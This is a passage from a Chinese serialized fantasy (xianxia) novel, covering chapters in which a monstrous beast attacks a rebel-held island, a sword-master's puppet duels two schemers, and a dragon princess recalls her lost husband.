他看上去无比虚弱,半边脸上已经爬满了奇怪的黑色裂痕,这个人我不认识,是新来的吗? “嘿,小兄弟,我真的不能出去吗?” 这个人开始和路仁搭话了,路仁非常敬业地摇了摇头回答道:“不能,这应该是为了您好。” “那你知道他们要去做什么吗?”这个人继续问着。 “知道,他们要去攻占岛屿。”路仁想了想回答道,他一个小叛军,知道的并不多,平时也是干后勤的活,”您应该也知道才是啊。” 毕竟这几日这位病人和那些大人们相处得很是自然,要问在路仁眼里什么叫自然,那就是那种没有上下级关系的自然。 “是啊,我知道,但是我一直待在这里并不知道外边的情况啊,有没有什么书信传进来?”这个人唉声叹气了一下,随后拉开袖子,露出手腕上的那些骇人裂痕,“要不是因为这个,我也去了。” “…暂时还没有其他情况,大人您不必担忧,我相信他们会把胜利给带回来的。”路仁叹了口气,继续回答这个人的问题。 “哇,你好信任他们啊,你对他们了解得有多少啊?”说着,这个人就一脸可怜巴巴的模样看着他,“多说说呗~我很好奇。” “…我也了解得不多。”路仁还在犹豫,但是他看到了这个人手臂那明晃晃的黑色裂痕,再加上那副可怜样,许是对方无聊了吧,这样想着,路仁也就回答了对方,“我们首领是一个很厉害的人,他强大,宽厚,意志非常坚韧,听说有一次和龙族打架的时候,他用嘴撕下了对方一个胳膊。” “哇,打那么凶。”这个男人感慨了一声,他已经换了个舒服的姿势躺好准备听故事了。 “嗯,我也觉得,我们首领是一个不要命的首领。”路仁点了点头,点完后他猛然清醒了一下,随后小心翼翼地看了一眼门外,很好,门外没有其他人,他在这里说首领的小话应该不会被举报,虽然他也不是在说坏话。 “当然,最后那个龙族是被我们首领干掉了,其实我们的存在龙族早就已经知晓,只不过他们不太瞧得起我们,所以我们在前期才能如此顺利地组建起那么大的一支军队。” “看来龙族不摔掉跟头是起不来的啊。”这个男人啧啧啧了几声,也不知是幸灾乐祸还是恨其不争。 “…您向着龙族吗?”路仁自觉这话问得不是很委婉,当然他仅剩的脑子不允许他成为一名合格的谜语人。 “不啊,我哪个都不向着,我一直是中立派,除非迫不得已。”不知道什么时候,男人的手里出现了一个果子开始啃了起来。 这到底是哪里来的? 路仁一愣,随后又释然,大人物自有大人物的手法,他一个小卒哪能看得明白,他做好自己的本分工作就可以了。 “就那么说吧,这些龙族干的这种缺德事已经足够让其他海族震怒,就算不是你们首领,也会有其他人当这个首领的,最主要的还是他们需要改变。” 这话很深奥,路仁觉得自己的脑子并不是很懂,不过他还是顺着这个人的话说下去,“那么您认为做出什么样的改变才合适呢?” “…首先,他们得学会道歉吧?”这个人吃完了果子,舔了舔嘴唇,随后继续笑道,“毕竟他们做错了事情不是吗?” “对,他们的确做错了事情。”路仁点了点头,对这个事实非常认同。 “…你好像比他们要淡定不少,怎么?你和龙族没有血海深仇吗?”男人似乎才想起什么,他有些好奇地看着路仁。 “没有。”路仁摇了摇头,随后道,“但是其他人有。” “那你是怎么加入反叛军的?” “因为这里管饭?”路仁想了想,说出自己最初的理由,但是看着男人的眼神似乎还在期待他往下说去,路仁只能又加了几句话,“后边待久后我觉得这里氛围挺好的,至少比外边要好,可能因为都失去了家人朋友,所以他们也更加珍惜每一个同伴。” “不过,我说的是内部人员啦,如果是外来人员的增援,他们都是为了自己的利益而来的。”路仁说着,又补充了一句,“大人,您应该也是外来吧?我之前没有见过您。” “没错,我是外部支援队的大队长!”这位大人也不知是入了什么戏,很是开心地拍了拍自己的胸膛,“怎么样,这个称呼是不是很酷?” “…呃,嗯,对。”路仁决定自己还是认同一下吧,照顾病人心理人人有责。 “其实我觉得你们反叛军也挺酷的。”这个大人又换了个话题,许是因为路仁愿意回答他的话,导致他越说越起劲了,“唉,为什么我不在和那个老家伙聊天的时候遇到你们呢?肯定贼有意思……不对,我好像是遇到了,只不过遇到的是任海……” “嗯?等等,小兄弟,你觉得那位姓任的怎么样?” 什么叫姓任的,那是他们勤勤恳恳的任大人。 当然这话路仁肯定没有说出来,他听到这个问题后又认真地想了想继续回答道:“他是我们首领某一天带回来的,我们也不知道他是什么情况,但是我们的确获得了帮助……不过……” “不过什么?”这位大人显然兴奋了。 “呃就是……”路仁张了张嘴,他很是犹豫,突然间,他想起一件事,自己的工作有和这个病人交流这部分吗?还有为什么他自然而然就和这位大人聊起来了?这不对吧? “就是什么?”这个人显然很是期待。 “…没,没什么。”路仁微微移开视线,没有去看人。 “…小兄弟,话说一半不说也太过分了吧!!”显然,大人怒了一下,就怒了一下,随后扯着嗓子喊道:“哎呀,好痛啊——要死啦——” “大,大人?!”只见路仁一个猛回头,他显然没有想到这位大人突然叫唤了起来,这声叫唤越来越大,大有一副把驻地的所有人叫来的模样。 “好痛———……”突然,眼前的大人喊了一声后就顿住了,他坐起了身子转头看向了大门。 “…大,大人?您真的不能出去……”路仁看到这一幕,有些慌乱地走过去,想要阻止他。 “不是,你没有听到什么声音吗?”这位大人竖起耳朵听了听,他显然是思考着什么。 “……?”路仁也跟着听了听,随后,他听到了有什么东西断裂的声音,咔嚓咔嚓的,很是清脆。 “……啊,好像这里要塌了。”大人情绪非常稳定地啊了一声。 “?什么!!”路仁发出了尖叫,随后他转身似乎就要离开,可该死的职业道德让他伸出去的脚来了个猛回头,“大人,我搬着你的床跑吧!” “……?哇塞?”大人显然被路仁的敬职敬业给震惊到了,还不等他说什么,路仁就跑上来扛着个床跑了。 出去的时候,路仁自然也看到自己伙伴们正慌乱地让病人们从房间里出来,有的还上手抱着两三个病人在跑。 “…床是不是目标太大了。”虽然能够躺在松软的大床上也很好啦。 “没关系的大人,我负责的只有您一个,而且床上有防护阵法,您不会有事,在床底下的我也不会有事。” 好一个一石二鸟。 秦兰时觉得这孩子就是拿他和床当挡箭牌了,但是也不能说他无情,只能说他考虑得很周到,这不,他这个床底下又多了几个人在躲了。 不过这种情形怎么有点像是…… 秦兰时犹豫了一下,很快就做出了决定,只见他摆好了坐姿,一副天凉王破的傲天气势,任由那碎石打落在防护罩上。 这种该死的优越感,莫名的爽。 就在这时,那天花板终于塌了,而他们这个根据地也重见天日,秦兰时抬起头去感受阳光,但是太阳被个黑乎乎的东西给挡住了。 秦兰时:? 什么怪东西? 再仔细一看,那慕流月就飘在那庞然大物的面前呢,她拿着剑,居然没有砍下去,说好的心中无爱人,拔剑自然神呢? …搞毛啊? 对了,山玉呢? 第220章 天降大祸 这个东西的出现是始料未及的,在场的所有人都很意外,因为那是不应该出现在这个战场上的。 乱入的妖兽浑身漆黑,扑面而来的血腥与腐烂让人不由得为之作呕,它就那么闯入这个岛屿,张开着双翼,酷似龙族的脑袋与角,但却有着庞大又略显笨重的躯体。 慕流月本来还在和那反叛军首领打着架,突地就被那么个玩意儿给阻拦住了,她定眼一看,发现是从未见过的妖兽,它浑身被黑气环绕,让人看不真切其真实容貌。 “那是什么?你们龙族的秘密武器吗!!”反叛军首领落在旁边的废墟上,他看了一眼旁边的伙伴们,见他们大部分都没有大碍。 “不。”慕流月摇了摇头,“我也不知道这是哪里来的。” “我不信。”反叛军首领决定以最大的恶意去推断对手。 “…你不信那我有什么办法,我就是不知道这是什么……”慕流月说着,愣了一下,转过头来,她看到那妖兽不知道什么凑近了过来,她看到人形的自己在它的眼里是那么的渺小。 而那双眼睛,是金色的。 还没等慕流月说什么,它就挥起爪子一巴掌把慕流月打飞在旁边的废墟里,引起一片呛鼻的尘灰。 “…老大,它好像真的不是龙族干的。”站在反叛军首领旁边的人小心翼翼地开口道,“它刚刚那巴掌好不留情啊。” 反叛军首领:…… “老大!!!”又是一声。 “怎么了?该干嘛就干嘛!趁着他们没空就往前冲,有我在你们身后怕什么!”反叛军首领听到声音一个猛回头,然后他就看到了举着秦兰时大床的路仁。 ……? “这里是战场你们在玩什么!!!”反叛军首领顿时就怒了,他凶完路仁又开始凶秦兰时:“让你出来了吗!就出!你身体能出来吗!!” “老大……那个……”路仁还想说什么,他举着床的手在微微颤抖着,很明显非常恐惧来自老大的威压。 “…咳咳咳,其实,你们根据地好像塌了。”秦兰时那么说着,指了指下边,“被埋下边了,不过你放心,我确认过了,大家都跑出来了。” “老大!你们不是去突击上层吗?咋还回来了……”路仁因为秦兰时说清楚后,说话也有底气起来了。 反叛军首领沉默,反叛军首领向下看去,随后他抬头看了看还在飞着乱搞破坏的妖兽,原来不知不觉,打着打着他们就跑回去了。 真是无比自然的回家。 四周都变成废墟了,他们当然能成功分辨出这里是哪个位置了,再加上阵法的隐秘性…… “那你们快带着伤员躲起来!”还没等反叛军首领想什么呢,那妖兽仿佛对他们来了兴趣,不玩大建筑了,而是直直地朝着他们飞了过来,反叛军首领当场就大喊其他人往后退去。 随后他转过身去,将手里的刀举至自己的眼前,那妖兽的攻击打在了他的刀上,反叛军首领猛地脚下发力,在妖兽的巨力下,他往后狠狠退了几十米,脚也在地面上划出两道长长痕迹。 “老大!!”没有跑远的人一个猛回头,显然她非常担忧。 “赶紧的!少说废话多跑几步!!”反叛军首领看一眼身后,见差不多了就抽刀离开,闪身往一边躲去,任由那妖兽冲进了旁边的房屋里,房屋瞬间倒塌,把妖兽盖在了里面。 “别回头!!” 话音刚落,那妖兽就自碎石中轰然而起,反叛军首领举刀而向,刀锋所形成的灵气流狠狠地刮至那妖兽身上,可那对它来说不痛不痒。 反叛军首领并没有打算这刀能伤害到什么钱,他只是打算吸引这只妖兽的注意力,干脆把这只妖兽往龙宫里头引得了。 这样一想,反叛军首领的步伐迈得更快了,于是他直直地往那座高墙跑去,因为混乱,已经没有其他守卫拦住他了,于是他和先前一样,站在这里等待着那妖兽扑过来的瞬间就地一滚,他滚过去后,看着那高墙被那妖兽给撞毁,心中畅快无比。 还没等他喘口气,突地,他听到远处有人喊他:“老大!老大!!!” 反叛军首领回首望去,他看到来人似乎特别慌乱地看着他,并且疯狂地举起手指向天空。 天空……? 突然,反叛军首领感觉到周围一暗,随后他抬起头,看到了那个撞向高墙的妖兽正张开嘴,一个类似于灵力球东西于它嘴中聚集着,那里头的灵力足以引发一场震天动地的爆炸。 “老大!!!”来自于反叛军的战士惊恐地喊了出来。 这一声落下,灵力球也聚好了,只见那妖兽就那么轻轻一喷,虽是轻轻,实际上这灵力炸开的瞬间非常猛烈,扬起的尘土飞速地包裹了四周,往外蔓延而去。 跌跌撞撞的小战士被这因为爆炸而产生的气流给扑了个正着,他往后退了几步站稳,惊魂未定地看着那边的情况。 “老大……?” “老大!!!” 喊着喊着,他就像个小孩似的哭了起来,他擦着眼泪声音极为悲痛:“不,不要啊,老大你不要走呜呜呜……” “你老大没死呢,你别急着哭丧啊~”一道不太符合这个战场的声音在那处响起,为什么不符合呢?因为他的声音不够沉闷,打个比方,战场应当是灰暗的,充满绝望的,可那道声音里头却没有这些。 听上去像一阵缓缓不急的清风,就那么刮过人们的心间。 “……大人?!大人你怎么到那里去了!!”路仁看到这一幕,只见他一个猛抬头,他发现自己举着的这张床上空空如也,哪还有什么大人啊。 没有大人了,但是床也是有用的,所以路仁勤勤恳恳地把床留给其他人当盾牌,从兜里拿出了医嘱和药物,猛地朝着秦兰时的那边冲过去。 而此时此刻,秦兰时举剑将这一击给散去后,转头对那边带着反叛军首领就要往别处飞的胡长乐比了个大拇指,“没想到小长乐你还挺快的嘛~” “秦,秦哥?”胡长乐一手拿伞,一手拿反叛军首领,在看到秦兰时的时候她是懵逼的,这让她有一丝丝茫然,所以接下来她还跑吗? “你怎么来了?”反叛军首领被胡长乐提着后衣领也不失威严,“谁让你来了,你不知道你自己的身体状况吗?刚刚那一击我又挨不死。” “不死也重伤啊,你拿你的命当回事一点嘛?你看你的手下刚刚都急哭了。”秦兰时甩了甩剑,随后重新回头往那妖兽看去,而那妖兽正努力把自己的身子从那高墙上拔出来了,因为这个高墙材质特殊了一点,所以它拔得也慢。 “你也没拿自己的命当回事啊?你知不知道这影响我和那位唐小友的合作了,他要是知道不干了怎么办?”反叛军首领一想到这个就有些头疼,而他在看到秦兰时那脸上的裂痕已经逐渐盖住了大半张脸了。 “……咳,你不说我不说…” “你确定?唐小友会更生气的吧?”反叛军首领冷漠地说出了一句实话。 “对啊,秦哥,你不能瞒住自己病情啊!!”胡长乐显然也觉得这样不好,她想了想唐山玉这几天都无比温和的脸,身子抖了抖几下,“真的,我觉得最好不要。” “好了,我要打架了,一边去,它快要挣扎出来了。”秦兰时毫不客气地用剑将俩人扫到了一边,这一扫后,那妖兽也要拔出了身子,只见秦兰时猛地跳上去,一脚将妖兽的脑袋重新踹回了高墙里头。 妖兽大怒,它留在外头的尾巴举起来狠狠地往秦兰时身上扫去,秦兰时当即躲开,不过因为身体的疼痛,他躲开的时候动作有些停顿。 所幸还是躲过去了。 而妖兽也重新将身子拔出来,它一个猛回头就朝着秦兰时扑过去,秦兰时运气灵力聚于剑上就要举起,可就在那个时候,他感觉到来自胸口处那撕心裂肺的疼痛,这让他差点没有握稳剑。 可就是那么一个呼吸间的功夫,妖兽就已经张开血盆大口来到了秦兰时面前,眼看着要把秦兰时给一口吞下,突然,它停住了,与此同时,也不知反叛军首领什么时候来到了妖兽的后边,正死死地拽住它的尾巴。 秦兰时见状笑了一声挥剑就砍,妖兽痛得直叫,它无比痛苦地挥舞着翅膀,似乎想要重新飞回天空。 “绝对不能让它飞上去!!!”反叛军首领想起这个妖兽的飞行速度,大声喊道,“要把它留在地面上才行。” “啧。”秦兰时再次举起剑,只不过这一次,他举得无比困难,现在他的每一次挥剑感觉都要了他的命那样,痛感会随着急促呼吸不断袭来,有什么东西在撕扯着他的身躯。 “喂,和它们融为一体吧。”心魔的声音突地出现在他耳边,心魔又在低语,怂恿着他再次步入深渊,“你不是知道方法吗?” 于秦兰时眼中,来自心魔的影子再度凝聚,他轻笑着,说出最为动人的话语,“这样,你就可以继续保护山玉了,我也很喜欢山玉呢?一想到他要是不小心受伤了……” “那我该怎么办呢……?” …… 废墟下,慕流月的手指动了动,她清醒了过来,于是她坐起身子,脑子有些晕乎乎的,但是,有些深层的记忆因为这一击让她回想起了什么。 她抬起头,看着那个妖兽。 另一边,庄子枭正得意地和某人炫耀着:“怎么样?很不错吧?我就说当初你把那个东西交给我,我会处理得很好的。” “…是不错,放出来的那一刻的确吓到我了……我差点怀疑再次见到他了。”男人的声音顿了顿,有些不满,但是却只是微微松口气。 “怕什么,他早死了,不过死也有死后的价值,我们这技术不错吧?放心好了,因为你是老顾客出手也大方,这要价很实惠的。”庄子枭觉得自己真是个大好人啊,于是他笑得更开心了。 “……呵。”这个男人显然冷笑了一下。 “啊,对了对了,说起来那位易长老的计划是今天举行?也不知进展如何?要不要帮忙?” “不用了,无论结果如何,我想要的东西,自然会是我的。” “您这个性子真不合适您如今的职位啊。”庄子枭这话也不知是不是在阴阳怪气,总之他说出来的时候还笑了一声,“啊,对了,比起这个,我们……” 轰隆隆。 不知哪处的建筑物崩塌了。 庄子枭转头一看,发现是自家门口,等那灰蒙的尘土随着剑风散去后,他发现来的家伙是之前猛打他的那个战斗傀儡。 而此时此刻,顾延清拿着剑,淡淡地瞥了这里一眼。 庄子枭:…… 他又惹这个战斗傀儡什么了! 这次他都没抱谢美人!! 第221章 若闻当初 天青剑尊的名声到底有多大呢? 据说,那位剑尊年少前往海域之时,途中遇到作乱恶蛇,就独身前往诛之,恶蛇胡作非为,惹得那处海域生灵涂炭。 乌云密布,雷光肆意,风暴席卷入天,巨蛇盘于浩浪,那少年提剑而往,眸中无甚喜悲,更无惧意。 当时,那巨蛇修为比那天青剑尊高一层,它眼里尽是嘲讽之色,似在问弱小人类也敢跨步登天,实在是愚不可及。 天青剑尊对此没有回应,他只是拔剑,这剑拔出时,天地撼动,似有天雷回应,狂风呼啸,正弄乱他的衣角。 但是,他是真的没有回应吗? 不,他有。 而这一剑,便是他的回应。 后有传言,那一剑不止斩断了巨蛇的脑袋,也将当初那昏暗的天,劈成了两半,自此,太阳的光撒落这片海域,大海重新回到了太阳的怀抱。 “…真是,这剑气可不是盖的啊。”庄子枭侧身躲过了一击,就地一滚拉远了和顾延清傀儡的距离,“就算是假货也够呛的,这就是天青剑尊的实力吗?” “……他是怎么找到这里的?”那人也因为这次意外从暗处闪出来,他戴着一层厚厚的面纱,使人看不清里头的样貌。 “我不知道啊?可能大人物有大人物的法子吧?不过不重要……”庄子枭手拿弯刀转了个圈,直接狠狠地投到那顾延清傀儡的身上,顾延清傀儡用剑将其打掉,哐当一声响,只见那面纱人从他背后窜出来,指尖夹着锋利的针,往那傀儡身上扎去。 这个人想要损坏傀儡的运作,于是顾延清操控着傀儡伸出手一把握住了对方的手腕,他虽为剑修,但也不是不懂体术,不如说,天才什么都略懂一二才叫天才。 “…这傀儡怎么没那么死板。”那人被握住手腕后,想要挣脱开来,只见他另一只也拿着针往顾延清傀儡身上扎去,这次顾延清可不能把剑给丢了,于是只能松开手,拉开了距离。 而与此同时,被他打飞的弯刀于空中转了个圈便直直地往这边飞来,它身上的灵力依旧锋利无比,原是那边的庄子枭在操控它。 他并没有想过这一刀能够打中,而是趁着顾延清傀儡把注意力放在那人身上的时候,再运起飞刀往那身上打去。 顾延清觉得有一点麻烦,于是他飞速地于周身升起剑气,这层剑气将飞过来的刀劈成了两半,刀虽碎掉,但是运行的轨迹依旧不变,但是顾延清不慌不忙,只见他撤下周身的剑气层,提着剑就往那碎成两半的刀打去。 只见他灵活地运着灵力,将那刀上的灵力覆盖后,就挥剑把这两块碎刀往那俩人身上打去。 “他这个打法简直灵活得过分。”庄子枭只得往后躲闪而去,他再次拿出了自己的刀,将这半刀给挡在身前,哐当一声,碎刀落地,而那边的顾延清傀儡突然把自己的剑给拆成了两半。 庄子枭:? 这傀儡的剑还能拆的? 顾延清自知这具傀儡上虽有自己的神魂在,但是比起自己来说还是差太多了,当初之所以可以在庄子枭地盘杀个七进七出,也是因为在那里除了庄子枭其他都不值一提,再加上有秦兰时在旁边相助,还有唐山玉的全部灵力支撑所以才算轻松。 但这里对于战斗傀儡来说,强敌有俩人,石泽竹的灵力给得也没有当初唐山玉给得多,因为当初唐山玉身边有胡长乐才能这样肆无忌惮地耗灵力,可石泽竹身边没有其他人在,为了避免意外,顾延清并没有让孩子把全部的灵力都输送进来。 总之,顾延清为了避免一只手打不过俩人,开启了双手都用的双剑模式,只见他提着两把剑就朝着庄子枭和那个蒙面人冲了过来,一剑下去接着的是另一把剑,俩人可谓是接完一剑又一剑,都不带停的。 最后,一道剑伤就那么出现在庄子枭的手臂上,另一边蒙面人的伪装也被这一剑给尽数击溃,他露出了原本的样貌,只见他有着一头金色长发,就连眼睛也是太阳的金色。 顾延清并不认得他,但是如果慕流月在这里,她就会认出这个人是她的周皇夫,就算狼狈也毫不掩饰他那浑身的金灿灿,这特别夺目。 慕流月就很喜欢这种金灿灿的美丽。 当然顾延清并不会因为这金灿灿就手下留情,他见是不认识的人,但是那头上的龙角就已经表明了他的身份,这个家伙也是龙族。 既然不知道情况,那就先全部打倒了再问吧。 一顿操作后,俩人的脖子处一人横一把剑,可谓是一声不吭,他们手上的武器也全被打没了,主打的就是一个干干净净。 庄子枭看了周皇夫一眼:你怎么看? 周皇夫接收到这个眼神回了一下:能怎么看?站着看呗,他稍微使一下劲我们俩脑袋都要掉落。 顾延清终于打完了,他要开始问问题了……但是他发现了一个问题,那就是他这个傀儡并没有语言功能,因为战斗傀儡不需要用嘴巴战斗,战斗傀儡只需要打打杀杀就好了。 顾延清:…… 好不容易打完自己却是个哑巴怎么办? 石泽竹又不在这里,而且他又没有其他手去写字,刚刚已经用不少灵力了,用灵力写字太奢侈了吧?灵力要是不够用怎么办,他现在要节省一点才行。 于是,他们仨就这样维持着这种诡异的姿势面面相觑。 “…你认识这个傀儡吧?你要不说几句?”周皇夫转头看了一眼庄子枭,这次他不用眼神交流了。 “我说什么啊我,我认识他纯属是意外,我没有想到他也在这里好吧……不过可能也不是很意外……”庄子枭觉得事情有点麻烦了,而这个傀儡方才的表现都不像一个合格的傀儡。 “你不说点什么的话,我们要这样维持到天荒地老吗?”周皇夫额头青筋一挑,显然他这个笑容里有着压抑的愤怒。 “…好吧,那我说了。”庄子枭清了清嗓子,然后开口道:“放心好了,我已经对小景景没有意思……” 冰冷的剑刃往庄子枭的脖子上压了压,像在威胁什么。 “……您过来是干什么啊?”庄子枭努力想了想,他这里到底有什么东西值得这个家伙过来的,“我这里也没谢璟啊,你来这里干什么?” 顾延清缓缓转了个头,分了一个目光给庄子枭。 “我真不知道他在哪里,我就没有见过他好吧?”庄子枭说着,似乎想到了什么,他恍然大悟,“天啊,难不成小景景来找我了?我居然不知道,真是……” 此刻顾延清的眼神可以杀人,庄子枭早就死了。 “…咳咳咳,好吧好吧,我真不知道啊尊者,比起这个,您真的要在这里和我们待那么久吗?我们可是听说了那个易长老把你家那好师弟拐到了奇怪的地方要献祭了呢。庄子枭冲着和他一样被威胁的周皇夫眨了眨眼,示意对方也说几句。 “…对。”周皇夫点了点头,但是这个不是三天前的事情了吗? “……”顾延清闭了闭眼,随后剑上的力道又大了不少。 “呜哇,对不起对不起,好吧,我不应该用三天前的消息忽悠您的,但是……”庄子枭突然笑了一下,“您真的不去岛屿上看看吗?毕竟那里好像出现了个大妖兽,您觉得他们能够应付得过来吗?” “……”周皇夫的目光有些不认同,不过他什么也没说。 顾延清听到这话后看向了周皇夫,他什么都没有说,但是威压感十足。 “…是啊,您过去看看吧……那东西骇人得很,我当初可是差点死了呢。”周皇夫也开口了,这句话他有点真情流露了,“毕竟,那种东西的存在只会带来灾祸。” 还没等顾延清想到什么,庄子枭抬起手朝着顾延清身上扔了个东西,那东西在顾延清的身上爆炸开来,而周皇夫也见机往后退了好几步。 “这是魔族特制哦~”庄子枭嘻嘻一笑,他往上抛了几下那个东西,原是一个被气泡包裹着的魔气弹,魔气在顾延清那具傀儡身上炸开后,开始以入侵的姿态侵蚀掉了顾延清傀儡的半只手臂。 “……你故意的?“用了这个,就如同在顾延清面前说自己和魔族私通无疑,周皇夫显然不想那么快和这位尊者打这种交道,庄子枭这一招明显把他也拖下水了。 “没办法啦,你这样那样让我很没有安全感哎!”庄子枭显然很开心,总之他果断地转了个身,快速跑开,“你还不快跑,等天青尊者回过神来,我们就完蛋了。” “……”周皇夫只能也跟着跑了。 而顾延清也没有去拦住那俩人,因为魔气的侵蚀导致自己有点不太能操控这被侵蚀的半边手臂了,如果是自己原来的强大神魂,这点魔气自然不在话下,可他现在只有一小抹神魂。 头一次,顾延清感觉到了普通人的一点无助感,总之人都跑没影了,比起这俩人,他选择先回岛屿看看。 与此同时,慕流月看着那妖兽,妖兽想要飞上天空,她果断化作飞龙拦在了高空之上,飞龙对着这个外来的妖兽发出了一声驱逐的怒吼。 此刻,龙的瞳孔里头的金色很是夺目,她就那么看着这个妖兽,似要在这个妖兽身上看出什么。 突地,龙啸声停了一顿,变成了一声不敢置信的悲鸣。 而这声悲鸣似乎在几百年前,也有过。 是的,你听,在那很久很久以前…… “喂,明生,你就不能喊我一句娘子吗?” 少女托着下巴,期待地看着眼前的少年,少年没有回应少女的这句话,而是拿出一本书卷起来,轻轻地敲在了少女的脑瓜子上。 “不要。” 第222章 入局与突击 少年名叫明生,这个名字很奇怪,听说是他自己起的,慕流月第一次见他的时候就被那好看的外表所迷惑住了。 怎么会有那么好看的脸,这妖到底是怎么化的形。 于是第一次见面,慕流月就欢天喜地跑过去求婚了,她自以为自己无比浪漫地拿出了花,递到了少年的手里,下一刻,这花就被少年放出的火给烧了个一干二净。 “我,我的真心……”慕流月看着那花的残渣在手里不停地掉落,手在微微颤抖。 而明生看一眼,就无比鄙夷地嘲讽了一句:“你的真心就值这点钱?真是没用。” 身为正宗的高傲龙族慕流月怎么能忍得了这一点,于是乎她召唤出了一堆钱狠狠地砸在了明生的面前,慕流月对此很是得意:“怎么样?我这个真心够值钱了吧?小郎君,你就这样跟了我如何?” 明生对此没什么表示,他眼里看不出一点对金钱的欲望,而他看慕流月的眼神也是如此,仿佛这世间万物都是那么的无趣。 “小郎君!小郎君!不愿意的话我可以再加点,哎哎!别走啊,至少告诉我你的名字!!”慕流月还没自信完呢,便看到明生转头就走,她连忙跟上去,这般美色可不能错过了。 “告诉我嘛~”慕流月走在旁边期待地看着明生。 “告诉我嘛~”慕流月挂在明生的窗户上一脸期待地看着明生。 “告诉告诉我嘛~”最后,慕流月直接上手抱住明生的腰,明生往前走一步,她就在地上被拖一步。 “……明生。” 最后,慕流月还是得到了少年的名字。 “这个名字真好听,有什么特别的寓意吗?”慕流月此时此刻已经被明生那冷如冰霜的态度给钓翘嘴了,她就喜欢迎男而上。 “没有别的意思,我自己起的。”明生总觉得最近耳边的杂音有些多,可他居然有点习惯了。 总之,俩人就那么相处好些时日,最后是慕流月忍不住直接暴露本性上手就捆住明生把人给抢了回去,明生也不知在想些什么,居然一点挣扎都没有。 不过就算成婚后,俩人还是那样相处着,往往是慕流月说好几句,明生才回了一句,甚至是那种极其敷衍的语句,比如:哦。 又有些时候,俩人会吵起来,不过大部分时候是慕流月被那不温柔的明生嘲讽语气给气到了,小部分是因为明生拒绝和慕流月玩那角色扮演游戏导致的。 这个时候慕流月就会跑到后宫里头那些贴心温柔的美人儿那里哭了,哭完又听完其他美人安慰后,她就又气势汹汹地回来了,一副不把这块冰弄成柔情冰誓不罢休的模样。 “殿下,你这样执着于我,不无聊吗?”明生很是不解,他认为自己这种性子应该不好玩才是。 “不无聊啊,我一定要让你倒在我的衣裙之下!!”慕流月觉得自己每日的除了和老臣们吵架,干点活儿,就属来自己最勤快了,“所以你就喊我一句娘子吧,我那么辛苦赚钱养家,你就喊一句嘛~” “……又看什么话本了?”明生显然很无语。 “你就喊一句,就喊一句啊!你只要温柔点,对我笑一笑,然后喊我一句娘子,我什么都答应你!真的!”慕流月觉得自己真的很色令智昏了,但是这个色他不上道啊。 明生对此没什么欲望,他微微偏一下头 ,将视线落在还没看完的书上,“好了,聊完了就出去吧,我要继续看书了。” “啊啊啊啊!!你看的书也是我给你弄来的,你懂不懂书上有句话叫吃人嘴软拿人手短啊!!”慕流月再次被激出龙啸,很显然她再次破防了。 “不懂。”明生继续看书,但是他补充了一句:“我晚上不努力?” “……超,超努力的呢。”慕流月小脸一红,显然很满意地捧起了脸,“那,那今晚……” “没空,找其他妖去。”明生转了身,用后背对着慕流月,显然今天这书的内容很吸引他。 “……啊啊啊啊,你都不爱我!!” “对啊,那你爱我吗?” “你这样子我怎么爱!!除非你喊我一声娘子。” “……” 那么,后来呢? “后来,他离开了,我也没有能听到他喊我一声娘子,真是让人惋惜啊。”慕流月坐在位置上,和对面的老龙王说起这件事,他们在下棋,四周的灯光昏黄带着一抹温色。 “所以呢?这和你找我有什么关系?你父王我年纪大了,不是很想听你们年轻龙的情情爱爱啊。”老龙王抬手下了一子,就慢吞吞地拿起一旁的酒杯喝了一口。 “…我怀疑他的死和某些人有关,父王,我好像被背刺了。”慕流月说着,又提了一句,“哦,似乎还和我的龙角有关。” “不是好像,你就是被背刺了,不过,要不是你家的那位,估计这次那东西会把咱们岛上的大半生气给吸走。” “……嗯,所以很可能会安定个几百年。”慕流月应了一声,随后她低下头,那黑白分明的棋盘上,正在厮杀的棋子是从不留情的。 “……” “父王,我要入局。”慕流月抬起头,看向老龙王,她重新落下一子,只一子,棋盘上局面错乱,真假难辨,“如果要将其连根拔起,只凭我们造的势还不够,我们龙族历来的名声向来两极分化,所以,我们需要名声更大的,需要更为厉害的势力插手。” “…此事,我自有定夺,好了,孩子,你此局赢了。” 如今,棋局上风云变幻莫测,除了该入局的棋子外,还有其他棋子在此风云下伺机而动,这局内局外,谁为胜者? 反叛军也好,随清宗的人也罢,就连那海盗都可以,什么都可以,唯独明生不应该闯入这里的棋子,因为他早就死了,死在那遥远的几百年前,变成了一场她忘不掉的黑雨。 “我就说,我当初怎么哪里都寻不到你的尸骨,原来是在这里啊。” 慕流月以龙形阻挠着那妖兽的进攻,她咬住妖兽的脖子,将其狠狠按倒在地上,又被那妖兽怒吼地划上几道伤痕,并且要不是她及时躲开,那锋利的爪子就要捅穿她的龙身。 “喂,你没事吧?你刚刚发什么呆?”秦兰时看着恢复回人身的慕流月,有些不解地继续握紧着剑。 “…你知道这个妖兽哪里来的吗?” “我怎么知道?但是我看着有点像魔族的杰作,你们有龙族和魔族又厮混一起了吗?”秦兰时看着这个妖不妖魔不魔的,只觉得头疼。 “什么叫又啊,你们人族和魔族厮混得不多吗?”慕流月怼了回去,显然她对于秦兰时过度造谣自己种族有一丝不乐意。 “那是因为我们人族个个欲望强烈得很,再加上又贪心,又很没有节操没有脸蛋,有不少稍微忽悠一下就跟着魔族混了啊。”秦兰时一副理所当然的模样,“你们龙族不是傲气得很吗?和魔族沾上关系仿佛要死一样,所以,哪条龙啊?” “我只知道一条,再多的等这几天过后全杀了。”慕流月呵呵一笑,忍那么久终于可以来个大清洗了。 “……你们不要聊了!!那个妖兽已经疯到要闯龙宫了!我有些人还在里面啊!”反叛军首领怒吼一声,就举着自己武器冲过去了。 “哇塞,你们到底怎么进去的!!到底是哪个内应说出来让我解决一下。”慕流月抬头一看,也就拿着武器跟了上去。 “闭嘴,你个死龙族。”反叛军首领听到这话,脸黑了一瞬,于是他转头就骂。 “我就不我就不~除非你现在就杀了我。”慕流月在超级拱火,显然她因为发现自己的好夫君变成那种东西后已经有些疯魔了。 “你们不要吵了,要吵把这个妖兽打了再吵!!”秦兰时在中间看着俩人吵吵闹闹,他也拿着剑跟上来了,只不过围观了一场龙与反叛军的嘴皮子大战。 与此同时,远处的路仁正拿着医嘱和药努力往这里狂奔:“大人!大人!您这种状态要吃药的啊啊啊!!” …… “外边动静好大啊。”唐山玉抬头看了一眼龙宫外,“怎么回事?” 站在旁边的任行舟正偷偷摸摸地潜伏着,而他此时此刻带着唐山玉躲过了好几个守卫,他们是在谢璟和那慕云辰打起来的时候混进来的。 “不知道,我们先去突击龙王。” “有道理。” …… 